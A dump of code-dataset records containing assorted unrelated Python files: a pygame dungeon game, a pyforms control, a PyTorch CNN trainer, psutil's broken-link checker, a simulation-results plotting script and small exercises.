pygame.transform.scale(pygame.image.load('gameArt/flower.path.png'), (100,100))\ncrackedFlowerPath = pygame.transform.scale(pygame.image.load('gameArt/crackedFlower.path.png'),(100,100))\naBlock = pygame.transform.scale(pygame.image.load('gameArt/aBlock.png'),(100,100))\nflowerABlock = pygame.transform.scale(pygame.image.load('gameArt/flower.aBlock.png'),(100,100))\nwall = pygame.transform.scale(pygame.image.load('gameArt/wall.png'),(100,100))\ncrackedWall = pygame.transform.scale(pygame.image.load('gameArt/cracked.wall.png'),(100,100))\ndoor = pygame.transform.scale(pygame.image.load('gameArt/door.png'),(100,100))\nflowerDoor = pygame.transform.scale(pygame.image.load('gameArt/flower.door.png'),(100,100))\n\n#Colors\nwhite = (255, 255, 255)\ngrey = (125, 125, 125)\nred = (255, 0, 0)\nyellow = (255, 255, 0)\ngreen = (0, 210, 0)\nblue = (0, 125, 255)\n\ndef getBlockType(blockX, blockY, blockKind): #Defining blocks in the grid\n\tglobal entrancePos\n\tif(blockKind == 'origPath'):\n\t\trandBlock = randNum(1,5)\n\t\tif(randBlock <= 4): return 'path'\n\t\treturn 'actionBlock'\n\tif(blockKind == 'other'):\n\t\tif(blockX == 0 or blockX == 9 or blockY == 0 or blockY == 9):\n\t\t\tif(blockY == 9 and randDoor == blockX):\n\t\t\t\tentrancePos = [randDoor,blockY]\n\t\t\t\treturn 'entrance'\n\t\t\treturn 'border'\n\t\trandBlock = randNum(1,25)\n\t\tif(randBlock <= 9): return 'path'\n\t\tif(randBlock > 9 and randBlock < 24): return 'wall'\n\t\treturn 'actionBlock'\n\ndef getArt(blockKind): #Gets the Random Art for that type\n\tif(blockKind == 'path'):\n\t\trandomVar = randNum(1,4)\n\t\tif(randomVar == 1): return 'path'\n\t\tif(randomVar == 2): return 'cracked.path'\n\t\tif(randomVar == 3): return 'flower.path'\n\t\tif(randomVar == 4): return 'crackedFlower.path'\n\tif(blockKind == 'actionBlock'):\n\t\trandomVar = randNum(1,2)\n\t\tif(randomVar == 1): return 'aBlock'\n\t\tif(randomVar == 2): return 'flower.aBlock'\n\tif(blockKind == 'wall' or blockKind == 'border'):\n\t\trandomVar = randNum(1,2)\n\t\tif(randomVar == 1): return 'wall'\n\t\tif(randomVar == 2): return 'cracked.wall'\n\tif(blockKind == 'entrance' or blockKind == 'exit'):\n\t\trandVar = randNum(1,2)\n\t\tif(randVar == 1): return 'door'\n\t\tif(randVar == 2): return 'flower.door'\n\ndef getDir(entrancePos): #Creating the random path\n\tglobal posPath\n\tblockX = entrancePos[0]\n\tblockY = entrancePos[1]\n\twhile(blockY-1 != 0):\n\t\trandomVar = randNum(1,3)\n\t\tif(randomVar == 1 and gameBoard[blockX-1][blockY][0] != 'border'): #Left\n\t\t\tblockX -= 1\n\t\tif(randomVar == 2 and gameBoard[blockX][blockY-1][0] != 'border'): #Up\n\t\t\tblockY -= 1\n\t\tif(randomVar == 3 and gameBoard[blockX+1][blockY][0] != 'border'): #Right\n\t\t\tblockX += 1\n\t\tposPath.append([blockX, blockY])\n\texitPos = [blockX, blockY-1]\n\tfor x in range(len(posPath)):\n\t\tgameBoard[posPath[x][0]][posPath[x][1]] = [getBlockType(posPath[x][0],posPath[x][1],'origPath')]\n\tgameBoard[exitPos[0]][exitPos[1]] = ['exit']\n\ndef keyUp(event, funcX, funcY): #Start Movement on Key Down\n\tif(event.key == K_UP or event.key == K_w):\n\t\tif(funcY-1 >= 0 and funcY-1 <= 9):\n\t\t\tif(gameBoard[funcX][funcY-1][0] != 'wall' and gameBoard[funcX][funcY-1][0] != 'border'):\n\t\t\t\tfuncY -= 1\n\telif(event.key == K_DOWN or event.key == K_s):\n\t\tif(funcY+1 >= 0 and funcY+1 <= 9):\n\t\t\tif(gameBoard[funcX][funcY+1][0] != 'wall' and gameBoard[funcX][funcY+1][0] != 'border'):\n\t\t\t\tfuncY += 1\n\telif(event.key == K_LEFT or event.key == K_a):\n\t\tif(funcX-1 >= 0 and funcX-1 <= 9):\n\t\t\tif(gameBoard[funcX-1][funcY][0] != 'wall' and gameBoard[funcX-1][funcY][0] != 'border'):\n\t\t\t\tfuncX -= 1\n\telif(event.key == K_RIGHT or event.key == K_d):\n\t\tif(funcX+1 >= 0 and funcX+1 <= 9):\n\t\t\tif(gameBoard[funcX+1][funcY][0] != 'wall' and gameBoard[funcX+1][funcY][0] != 'border'):\n\t\t\t\tfuncX += 1\n\treturn funcX, funcY\n\n#Createing the game board\ngameBoard = [[[''] for x in range(10)] for y in range(10)]\nfor loopY in range(0,10):\n\tfor loopX in range(0,10):\n\t\tblockType = getBlockType(loopX,loopY,'other')\n\t\tgameBoard[loopX][loopY][0] = blockType\n\trandDoor = randNum(1,8)\n\ngetDir(entrancePos) #Generates Random Path\n\n#Making art for the game after the path is generated\nfor loopY in range(0,10):\n\tfor loopX in range(0,10):\n\t\tif(loopX == entrancePos[0] and loopY == entrancePos[1]):\n\t\t\tart = getArt('entrance')\n\t\telse:\n\t\t\tart = getArt(gameBoard[loopX][loopY][0])\n\t\tgameBoard[loopX][loopY].append(art)\n\nxBox, yBox = entrancePos #Sets the player's position\n\n#Creates the pygame screen\nscreen = pygame.display.set_mode((displayWidth, displayHeight))\npygame.display.set_caption('Dungeon Game')\nclock = pygame.time.Clock()\n\nstartButton = pygame.draw.rect(screen, blue,(400,700,200,100))\n\n#Main Game Loop\nwhile(gameOver == False):\n\tfor event in pygame.event.get():\n\t\tif(event.type == pygame.MOUSEBUTTONDOWN):\n\t\t\tmousePos = pygame.mouse.get_pos()\n\t\t\tif(startButton.collidepoint(mousePos)):\n\t\t\t\tscene = 'game'\n\t\tif(event.type == pygame.KEYUP and scene == 'game'):\n\t\t\txBox, yBox = keyUp(event, xBox, yBox)\n\t\tif(event.type == pygame.QUIT):\n\t\t\tgameOver = True\n\tscreen.fill(white)\n\tif(scene == 'startPage'):\n\t\t#Prings the start screen\n\t\tscreen.blit(startScreen,(0,0))\n\t\tstartButton = pygame.draw.rect(screen, blue,(400,700,200,100))\n\t\tscreen.blit(pygame.font.SysFont('calibri', 30).render('Start', False, red),(400,700))\n\telif(scene == 'game'):\n\t\t#Prints the two-dimensional array to the screen\n\t\tfor x in range(len(gameBoard)):\n\t\t\tfor y in range(10):\n\t\t\t\tscreen.blit(pygame.transform.scale(pygame.image.load('gameArt/' + str(gameBoard[x][y][1]) + '.png'), (100,100)),(x*100, y*100))\n\n\t\tscreen.blit(playerImg,(xBox*100+12, yBox*100+12))\n\n\tpygame.display.update()\n\tclock.tick(60)\nendGame()\n","sub_path":"workingVersion.py","file_name":"workingVersion.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"73985567","text":"# -*- coding: UTF-8 -*-\n\n\nclass User(object):\n def __init__(self,name=None,pwd=None,email=None,age=None,birthday=None,face=None):\n self.name = name\n self.pwd = pwd\n self.email = email\n self.age = age\n self.birthday = birthday\n self.face = face\n def to_list(self):\n return [self.name, self.pwd, self.email, self.age, self.birthday, self.face]\n\n def from_list(self,userinfo):\n self.name = userinfo[0]\n self.pwd = userinfo[1]\n self.email = userinfo[2]\n self.age = userinfo[3]\n self.birthday = userinfo[4]\n self.face = userinfo[5]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"flaskstudy008/apps/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"368136794","text":"#import pandas as pd\n##import numpy as np\n#import matplotlib.pyplot as plt\n#import seaborn as sns\n#from sklearn import preprocessing\nimport pickle\nfrom sklearn.svm import SVC\nfrom .filepaths import *\nfrom langdetect import detect\n\ndef testSVCPickle(text):\n filename = filepaths_NeuralNetworkModel\n loaded_model = pickle.load(open(joinProjectPath(filename), 'rb'))\n listText = []\n listText.append(text)\n\n print(\"listText: \")\n print(listText)\n\n predictionText = loaded_model.predict(listText)\n print(predictionText)\n\n listText = []\n return predictionText\n\ndef PPShares3rdParty(text):\n #print(\"type: \")\n #print(type(testSVCPickle(text)))\n #print(type(testSVCPickle(text)[0]))\n if testSVCPickle(text)[0] == 1:\n print(\"Privacy Policy is Positive for sharing information with third party\")\n return True\n\n print(\"Privacy Policy is Negative for sharing information with third party\")\n return False\n\ndef DetectLanguage(text):\n try:\n language = detect(text)\n except:\n language = \"N/A\"\n return language\n","sub_path":"Analysis/machine_learning_model_functions.py","file_name":"machine_learning_model_functions.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"439836802","text":"#!/usr/bin/env python3\n# coding: utf-8\n\n# Time complexity: O()\n# Space complexity: O()\n\n# [2,3,1,1,4]\n# [0,1,2,3,4]\n# 开始 0\n# 第一步 1,2 走到2为当前终点,需要走第二步\n# 第二部 3,4,到4就到达终点了\nclass Solution:\n def jump(self, nums: List[int]) -> int:\n end = 0\n max_end = 0\n step = 0\n for i, val in enumerate(nums[:-1]):\n max_end = max(max_end, i + val)\n if i == end:\n end = max_end\n step += 1\n return step\n\n","sub_path":"leetcode_python/45.Jump_Game_II.py","file_name":"45.Jump_Game_II.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"631786548","text":"from pyforms_web.controls.control_base import ControlBase\nimport simplejson, collections\n\nclass ControlMultipleSelection(ControlBase):\n\n\tdef __init__(self, *args, **kwargs):\n\t\tif kwargs.get('default', None) is None: kwargs['default'] = []\n\t\tsuper(ControlMultipleSelection, self).__init__(*args, **kwargs)\n\t\tself.mode \t\t= kwargs.get('mode', 'selection')\n\t\tself._update_items\t= True\n\t\tself._items\t\t\t= collections.OrderedDict()\n\n\n\tdef init_form(self): return \"new ControlMultipleSelection('{0}', {1})\".format( self._name, simplejson.dumps(self.serialize()) )\n\n\tdef add_item(self, label, value = None):\n\t\tif self._items==None: self._items={}\n\t\t\n\t\tif value==None:\n\t\t\tself._items[label] = label\n\t\telse:\n\t\t\tself._items[label] = value\n\t \n\t\tself._update_items = True\n\t\tself.mark_to_update_client()\n\n\n\tdef clear_items(self):\n\t\tself._items = {}\n\t\tself._value = None\n\t\tself.mark_to_update_client()\n\n\n\tdef serialize(self):\n\t\tdata = ControlBase.serialize(self)\n\t\titems = []\n\t\tfor key, value in self._items.items():\n\t\t\titems.append({'text': str(key), 'value': str(value), 'name': str(key)})\n\t\t\n\t\t#value = str(self._value) if self._value is not None else None\n\t\tif isinstance(self._value, list) and len(self._value)>0:\n\t\t\tvalue = list(map(str,sorted(self._value)))\n\t\telse:\n\t\t\tvalue = None\n\n\n\t\tdata.update({ 'items': items, 'value': value, 'mode': self.mode, 'update_items': self._update_items })\n\t\t\n\t\tself._update_items = False\n\t\treturn data\n\t\t\n\t\n\n\tdef deserialize(self, properties):\n\t\tvalue = properties.get('value', [])\n\t\tvalues = []\n\t\tfor v in value:\n\t\t\tif len(v.strip())>0:\n\t\t\t\tvalues.append(v)\n\t\tproperties.update({'value':values})\n\t\t\n\t\tControlBase.deserialize(self, properties)\n\t\t\n\t","sub_path":"pyforms_web/controls/control_multipleselection.py","file_name":"control_multipleselection.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"517016021","text":"# -*- coding: utf-8 -*-\n\nimport re\nimport os\nimport pickle\nimport numpy as np\nimport pylab as pl\nfrom clawpack.visclaw.data import ClawPlotData\n\ndef parse_runs(runsDir, nGauges, times):\n runDirs = os.listdir(runsDir)\n runs_data = dict()\n for runDir in runDirs:\n n = int(re.search('\\\\D*(\\\\d+)', runDir).group(1))\n runs_data[n] = parse_run(runsDir+'/'+runDir, nGauges, times)\n \n # switch the results so they are aggregated by value type first\n results = dict()\n if len(runs_data) > 0:\n n_values = runs_data.keys()\n value_names = runs_data[n_values[0]].keys()\n for name in value_names:\n results[name] = dict()\n for n in n_values:\n results[name][n] = runs_data[n][name]\n return results\n \n \ndef parse_run(runDir, nGauges, times):\n run_data = read_log(runDir)\n run_data['gauge_data'] = read_gauges(runDir, nGauges, times)\n return run_data\n\ndef read_gauges(runDir, nGauges, times):\n plotdata = ClawPlotData()\n plotdata.outdir = runDir+'/_output' # set to the proper output directory\n \n gauge_data = []\n for ii in range(0,nGauges):\n g = plotdata.getgauge(ii)\n time_indices = np.array([any(np.isclose(t, times)) for t in g.t])\n gauge_data.append(g.q[0, time_indices])\n \n gauge_data = np.array(gauge_data)\n return gauge_data\n \n\ndef read_log(runDir, nlevels=3):\n log_file = open(runDir+'/output.log')\n log_text = log_file.read()\n log_file.close()\n \n result = dict()\n result['total_time'] = float(re.search(\n 'Total time to solution\\\\s*=\\\\s*(\\\\d*.\\\\d+) s',\n log_text).group(1))\n result['update_time'] = float(re.search(\n 'Total updating\\\\s+time\\\\s*(\\\\d*.\\\\d+) s',\n log_text).group(1))\n result['valout_time'] = float(re.search(\n 'Total valout\\\\s+time\\\\s*(\\\\d*.\\\\d+) s',\n log_text).group(1))\n result['regrid_time'] = float(re.search(\n 'Total regridding\\\\s+time\\\\s*(\\\\d*.\\\\d+) s',\n log_text).group(1))\n grid_time = 0\n levels_time = {}\n levels_cells = {}\n for ii in range(1, nlevels+1):\n lTime = re.search('Total advanc time on level'+\\\n '\\\\s+'+str(ii)+'\\\\s*=\\\\s*(\\\\d*.\\\\d+) s',\n log_text)\n if lTime:\n levels_time[ii] = float(lTime.group(1))\n grid_time += levels_time[ii]\n cell_matches = re.finditer('\\\\d* grids with\\\\s+(\\\\d+) cells'+\\\n ' at level\\\\s*'+str(ii), log_text)\n nCells = []\n for match in cell_matches:\n nCells.append(int(match.group(1)))\n if len(nCells) > 0:\n levels_cells[ii] = nCells\n result['grid_time'] = grid_time\n result['levels_time'] = levels_time\n result['levels_cells'] = levels_cells\n return result\n \ndef l1_norm(gauge_data):\n return np.sum(np.absolute(gauge_data))\n \ndef rel_err(ref_data, data):\n return l1_norm(ref_data - data) / l1_norm(ref_data)\n\ndef add_rel_err(runs_results, ref_run):\n ref_data = ref_run['gauge_data']\n runs_data = runs_results['gauge_data']\n err_data = {n:rel_err(ref_data, data) for (n, data) in runs_data.items()}\n runs_results['rel_err'] = err_data\n\ndef plot_rel_err(results):\n err_data = results['rel_err']\n x = sorted(err_data.keys())\n y = [err_data[n] for n in x]\n pl.figure()\n pl.plot(x,y, 'bo')\n pl.ylabel('L1 error')\n pl.xlabel('regridding interval')\n \ndef plot_times(results):\n grid_data = results['grid_time']\n regrid_data = results['regrid_time']\n update_data = results['update_time']\n x = sorted(grid_data.keys())\n grid_t = np.array([grid_data[n] for n in x])\n regrid_t = np.array([regrid_data[n] for n in x])\n update_t = np.array([update_data[n] for n in x])\n pl.figure()\n pl.subplot(2,1,1)\n pl.plot(x,grid_t, 'bo', label='time on grids')\n pl.plot(x,regrid_t, 'rx', label='regrid time')\n pl.plot(x,update_t, 'g.', label='update time')\n pl.legend(loc='best', fontsize=10)\n pl.ylabel('time (s)')\n pl.subplot(2,1,2)\n pl.plot(x,regrid_t, 'rx', label='regrid time')\n pl.plot(x,update_t, 'g.', label='update time')\n pl.legend(loc='best', fontsize=10)\n pl.ylabel('time (s)') \n pl.xlabel('regridding interval')\n\ndef plot_fraction_times(results, ref_data):\n grid_data = results['grid_time']\n regrid_data = results['regrid_time']\n update_data = results['update_time']\n x = sorted(grid_data.keys())\n ref_time = ref_data['grid_time']\n comp_time = np.array([grid_data[n]+regrid_data[n]+update_data[n] for n in x])\n pl.figure()\n pl.plot(x, comp_time / ref_time, 'bo')\n pl.ylabel('ratio of times')\n pl.xlabel('regridding interval')\n\ndef plot_avg_cells(results, ratios=[2, 2]):\n cell_data = results['levels_cells']\n x = sorted(cell_data.keys())\n ncells_1 = np.array([float(cell_data[n][1][0]) for n in x]) #float to avoid integer div later\n cells_2 = [cell_data[n][2] for n in x]\n ncells_2 = np.array([sum(cells) / len(cells) for cells in cells_2])\n cells_3 = [cell_data[n][3] for n in x]\n ncells_3 = np.array([sum(cells) / len(cells) for cells in cells_3])\n pl.figure()\n pl.plot(x, ncells_2 / (ncells_1 * ratios[0]**2), 'bo', label='level 2')\n pl.plot(x, ncells_3 / (ncells_1 * ratios[0]**2 * ratios[1]**2), 'k^', label='level 3')\n pl.legend(loc='best', fontsize=10)\n pl.ylabel('fraction of domain')\n pl.xlabel('regridding interval')\n pl.ylim(0,1.1)\n pl.grid()\n\ndef plot_cells(results, n=2, ratios=[2,2]):\n cell_data = results['levels_cells'][n]\n level_1 = float(cell_data[1][0]) #float to avoid integer division later\n level_2 = np.array(cell_data[2])\n x_2 = np.linspace(0, 1, len(level_2)+1)[0:(-1)]\n level_3 = np.array(cell_data[3])\n x_3 = np.linspace(0, 1, len(level_3)+1)[0:(-1)]\n pl.figure()\n pl.step(x_2, level_2 / (level_1 * ratios[0]**2), 'b-', label='level 2', where='post')\n pl.step(x_3, level_3 / (level_1 * ratios[0]**2 * ratios[1]**2), 'g-', label='level 3', where='post')\n pl.xlim(0,1)\n pl.ylim(0,1.1)\n pl.grid()\n pl.legend(loc='best', fontsize=10)\n pl.xlabel('time')\n pl.ylabel('fraction of domain')\n\nif __name__ == '__main__':\n reread_data = False # if true, read from data files again, otherwise\n # import parsed data from saved pickle files\n euler_times = np.linspace(0.,0.8,17)\n advec_times = np.linspace(0.,2.,21)\n nGauges = 25\n if reread_data:\n euler_data = parse_runs('euler_basic_runs', nGauges, euler_times)\n bad_euler_data = parse_runs('euler_bad_runs', nGauges, euler_times)\n euler_ref = parse_run('euler_base', nGauges, euler_times)\n advec_data = parse_runs('advection_basic_runs', nGauges, advec_times)\n bad_advec_data = parse_runs('advection_bad_runs', nGauges, advec_times)\n advec_ref = parse_run('advection_base', nGauges, advec_times)\n with open('euler_data.pkl', 'wb') as f:\n pickle.dump(euler_data, f)\n with open('bad_euler_data.pkl', 'wb') as f:\n pickle.dump(bad_euler_data, f)\n with open('euler_ref.pkl', 'wb') as f:\n pickle.dump(euler_ref, f)\n with open('advec_data.pkl', 'wb') as f:\n pickle.dump(advec_data, f)\n with open('bad_advec_data.pkl', 'wb') as f:\n pickle.dump(bad_advec_data, f)\n with open('advec_ref.pkl', 'wb') as f:\n pickle.dump(advec_ref, f)\n else:\n with open('euler_data.pkl', 'rb') as f:\n euler_data = pickle.load(f)\n with open('bad_euler_data.pkl', 'rb') as f:\n bad_euler_data = pickle.load(f)\n with open('euler_ref.pkl', 'rb') as f:\n euler_ref = pickle.load(f)\n with open('advec_data.pkl', 'rb') as f:\n advec_data = pickle.load(f)\n with open('bad_advec_data.pkl', 'rb') as f:\n bad_advec_data = pickle.load(f)\n with open('advec_ref.pkl', 'rb') as f:\n advec_ref = pickle.load(f)\n\n add_rel_err(euler_data, euler_ref)\n add_rel_err(bad_euler_data, euler_ref)\n add_rel_err(advec_data, advec_ref)\n add_rel_err(bad_advec_data, advec_ref)\n \n\n plot_rel_err(advec_data)\n pl.savefig('l1_err_advec.pdf')\n plot_rel_err(euler_data)\n pl.savefig('l1_err_euler.pdf')\n plot_rel_err(bad_advec_data)\n pl.savefig('l1_err_advec_bad.pdf')\n plot_rel_err(bad_euler_data)\n pl.savefig('l1_err_euler_bad.pdf')\n pl.close('all')\n \n plot_times(advec_data)\n pl.savefig('time_advec.pdf')\n plot_times(euler_data)\n pl.savefig('time_euler.pdf')\n plot_times(bad_advec_data)\n pl.savefig('time_advec_bad.pdf')\n plot_times(bad_euler_data)\n pl.savefig('time_euler_bad.pdf')\n \n plot_fraction_times(advec_data, advec_ref)\n pl.savefig('rel_time_advec.pdf')\n plot_fraction_times(bad_advec_data, advec_ref)\n pl.savefig('rel_time_advec_bad.pdf')\n plot_fraction_times(euler_data, euler_ref)\n pl.savefig('rel_time_euler.pdf')\n plot_fraction_times(bad_euler_data, euler_ref)\n pl.savefig('rel_time_euler_bad.pdf')\n pl.close('all')\n\n plot_avg_cells(advec_data, [2, 2])\n pl.savefig('avg_cells_advec.pdf')\n plot_avg_cells(bad_advec_data, [2, 2])\n pl.savefig('avg_cells_advec_bad.pdf')\n plot_avg_cells(euler_data, [2, 4])\n pl.savefig('avg_cells_euler.pdf')\n pl.close('all')\n\n for ii in range(1,11,1):\n plot_cells(advec_data, ii, [2, 2])\n pl.savefig('cells_advec_'+str(ii)+'.pdf')\n plot_cells(bad_advec_data, ii, [2, 2])\n pl.savefig('cells_advec_bad_'+str(ii)+'.pdf')\n pl.close('all')\n\n for ii in range(4,10,2): #something is wrong with parsing the data for 2\n plot_cells(bad_euler_data, ii, [2, 4])\n pl.savefig('cells_euler_bad_'+str(ii)+'.pdf')\n pl.close('all')\n\n for ii in range(2,12,2):\n plot_cells(euler_data, ii, [2, 4])\n pl.savefig('cells_euler_'+str(ii)+'.pdf')\n pl.close('all')\n","sub_path":"parse_runs.py","file_name":"parse_runs.py","file_ext":"py","file_size_in_byte":10201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"135125006","text":"#!/usr/bin/env python\n\n# Copyright (c) 2009, Giampaolo Rodola', Himanshu Shekhar.\n# All rights reserved. Use of this source code is governed by a\n# BSD-style license that can be found in the LICENSE file.\n\n\"\"\"\nChecks for broken links in file names specified as command line\nparameters.\n\nThere are a ton of a solutions available for validating URLs in string\nusing regex, but less for searching, of which very few are accurate.\nThis snippet is intended to just do the required work, and avoid\ncomplexities. Django Validator has pretty good regex for validation,\nbut we have to find urls instead of validating them (REFERENCES [7]).\nThere's always room for improvement.\n\nMethod:\n* Match URLs using regex (REFERENCES [1]])\n* Some URLs need to be fixed, as they have < (or) > due to inefficient\n regex.\n* Remove duplicates (because regex is not 100% efficient as of now).\n* Check validity of URL, using HEAD request. (HEAD to save bandwidth)\n Uses requests module for others are painful to use. REFERENCES[9]\n Handles redirects, http, https, ftp as well.\n\nREFERENCES:\nUsing [1] with some modificatons for including ftp\n[1] http://stackoverflow.com/a/6883094/5163807\n[2] http://stackoverflow.com/a/31952097/5163807\n[3] http://daringfireball.net/2010/07/improved_regex_for_matching_urls\n[4] https://mathiasbynens.be/demo/url-regex\n[5] https://github.com/django/django/blob/master/django/core/validators.py\n[6] https://data.iana.org/TLD/tlds-alpha-by-domain.txt\n[7] https://codereview.stackexchange.com/questions/19663/http-url-validating\n[8] https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD\n[9] http://docs.python-requests.org/\n\nAuthor: Himanshu Shekhar (2017)\n\"\"\"\n\nfrom __future__ import print_function\n\nimport os\nimport re\nimport sys\nimport traceback\nimport concurrent.futures\n\nimport requests\n\n\nHERE = os.path.abspath(os.path.dirname(__file__))\nREGEX = r'(?:http|ftp|https)?://' \\\n r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\nREQUEST_TIMEOUT = 30\n# There are some status codes sent by websites on HEAD request.\n# Like 503 by Microsoft, and 401 by Apple\n# They need to be sent GET request\nRETRY_STATUSES = [503, 401, 403]\n\n\ndef get_urls(filename):\n \"\"\"Extracts all URLs available in specified filename.\"\"\"\n with open(filename) as fs:\n text = fs.read()\n urls = re.findall(REGEX, text)\n # remove duplicates, list for sets are not iterable\n urls = list(set(urls))\n # correct urls which are between < and/or >\n for i, url in enumerate(urls):\n urls[i] = re.sub(\"[\\*<>\\(\\)\\)]\", '', url)\n return urls\n\n\ndef validate_url(url):\n \"\"\"Validate the URL by attempting an HTTP connection.\n Makes an HTTP-HEAD request for each URL.\n \"\"\"\n try:\n res = requests.head(url, timeout=REQUEST_TIMEOUT)\n # some websites deny 503, like Microsoft\n # and some send 401, like Apple, observations\n if (not res.ok) and (res.status_code in RETRY_STATUSES):\n res = requests.get(url, timeout=REQUEST_TIMEOUT)\n return res.ok\n except requests.exceptions.RequestException:\n return False\n\n\ndef parallel_validator(urls):\n \"\"\"validates all urls in parallel\n urls: tuple(filename, url)\n \"\"\"\n fails = [] # list of tuples (filename, url)\n current = 0\n total = len(urls)\n with concurrent.futures.ThreadPoolExecutor() as executor:\n fut_to_url = {executor.submit(validate_url, url[1]): url\n for url in urls}\n for fut in concurrent.futures.as_completed(fut_to_url):\n current += 1\n sys.stdout.write(\"\\r%s / %s\" % (current, total))\n sys.stdout.flush()\n fname, url = fut_to_url[fut]\n try:\n ok = fut.result()\n except Exception:\n fails.append((fname, url))\n print()\n print(\"warn: error while validating %s\" % url, file=sys.stderr)\n traceback.print_exc()\n else:\n if not ok:\n fails.append((fname, url))\n if fails:\n print()\n return fails\n\n\ndef main():\n files = sys.argv[1:]\n if not files:\n return sys.exit(\"usage: %s \" % __name__)\n\n all_urls = []\n for fname in files:\n urls = get_urls(fname)\n for url in urls:\n all_urls.append((fname, url))\n\n fails = parallel_validator(all_urls)\n if not fails:\n print(\"all links are valid; cheers!\")\n else:\n for fail in fails:\n fname, url = fail\n print(\"%s : %s \" % (url, fname))\n print('-' * 20)\n print(\"total: %s fails!\" % len(fails))\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/internal/check_broken_links.py","file_name":"check_broken_links.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"189863755","text":"# create PyTorch dataset for the training data\nimport torchvision\nimport torch\n\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nclass Net(nn.Module):\n '''\n CNN architecture taken from https://pytorch.org/tutorials/beginner/blitz/cifar10_tutorial.html\n '''\n def __init__(self):\n super(Net, self).__init__()\n # 3 channel image means first input is 3, then change output to 6, batch size 5\n self.conv1 = nn.Conv2d(3, 6, 5)\n self.pool = nn.MaxPool2d(2, 2) # scales tensor\n self.conv2 = nn.Conv2d(6, 16, 5) \n self.fc1 = nn.Linear(51984, 920) # input for matmult, output to decrease dimensionality\n self.fc2 = nn.Linear(920, 170)\n self.fc3 = nn.Linear(170, 80) # output must end in class number aka 80\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = x.view(-1, self.num_flat_features(x))\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n \n def num_flat_features(self, x):\n size = x.size()[1:] # all dimensions except the batch dimension\n num_features = 1\n for s in size:\n num_features *= s\n \n return num_features\n\ndef run_model(loader, net, epochs, lr, momentum, modelDir, device):\n print()\n print(\"STARTING MODEL TRAINING.\")\n # define loss fn and optimizer\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)\n \n for epoch in range(epochs): # loop over the dataset multiple times\n running_loss = 0.0\n for i, data in enumerate(loader, 0):\n # get the inputs; data is a list of [inputs, labels]\n inputs, labels = data\n inputs, labels = inputs.to(device), labels.to(device) # enable cuda processing\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = net(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n # print statistics\n running_loss += loss.item()\n if i % 5000 == 4999: # print every 2000 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, running_loss / 2000))\n running_loss = 0.0\n\n print('Finished Training, pog')\n \n print('Saving model to: {}'.format(modelDir))\n torch.save(net.state_dict(), modelDir)\n\ndef test_model(net, testloader, device):\n # accuracy test\n correct = 0\n total = 0\n with torch.no_grad():\n for data in testloader:\n images, labels = data\n images, labels = images.to(device), labels.to(device)\n outputs = net(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n print('Accuracy of the network on the 2500 test images: %d %%' % (\n 100 * correct / total))\n ","sub_path":"src/model/.ipynb_checkpoints/model-checkpoint.py","file_name":"model-checkpoint.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"268034285","text":"\"\"\" Створити файл 'v3.txt', який складається з трьох речень, та продемонструвати на ньому та виконання завдання.\r\nЗчитати файл '3.txt' та розбити його на два файли '3.part1.txt', '3.part2.txt', які містять непарні та парні\r\nза номером символи початкового рядка. Зберегти ці файли у кодуванні 'cp1251'.\r\nЗчитати дані файли та відновити з них початковий файл, зберегти цей файл у кодуванні UTF-8. \"\"\"\r\n\r\nimport os\r\nos.chdir(\"D://Python.Programs//Python Labs//LABS//lab.7\")\r\n\r\nf2 = open(\"3part1.txt\", \"w\", encoding=\"cp1251\")\r\nf3 = open(\"3part2.txt\", \"w\", encoding=\"cp1251\")\r\n\r\nwith open(\"3.txt\", \"r\") as f1:\r\n \"\"\"Розбиття файлу v3.txt на 2 частини. Перша - парні символи. Друга - непарні символи.\"\"\"\r\n text = f1.read()\r\n for i in range(len(text)):\r\n if i % 2 == 0:\r\n f2.write(text[i])\r\n elif i % 2 != 0:\r\n f3.write(text[i])\r\n\r\nf2.close()\r\nf3.close()\r\n\r\nf2 = open(\"3part1.txt\", \"r\", encoding=\"cp1251\")\r\nf3 = open(\"3part2.txt\", \"r\", encoding=\"cp1251\")\r\na2 = f2.read()\r\na3 = f3.read()\r\n\r\nwith open(\"new_v3.txt\", \"w\", encoding=\"UTF-8\") as new_v3:\r\n \"\"\"Відновлення початкового файлу з двох створених\"\"\"\r\n for i in range(len(a3)):\r\n new_v3.write(a2[i])\r\n new_v3.write(a3[i])\r\n\r\nf2.close()\r\nf3.close()\r\n","sub_path":"I семестр/Програмування 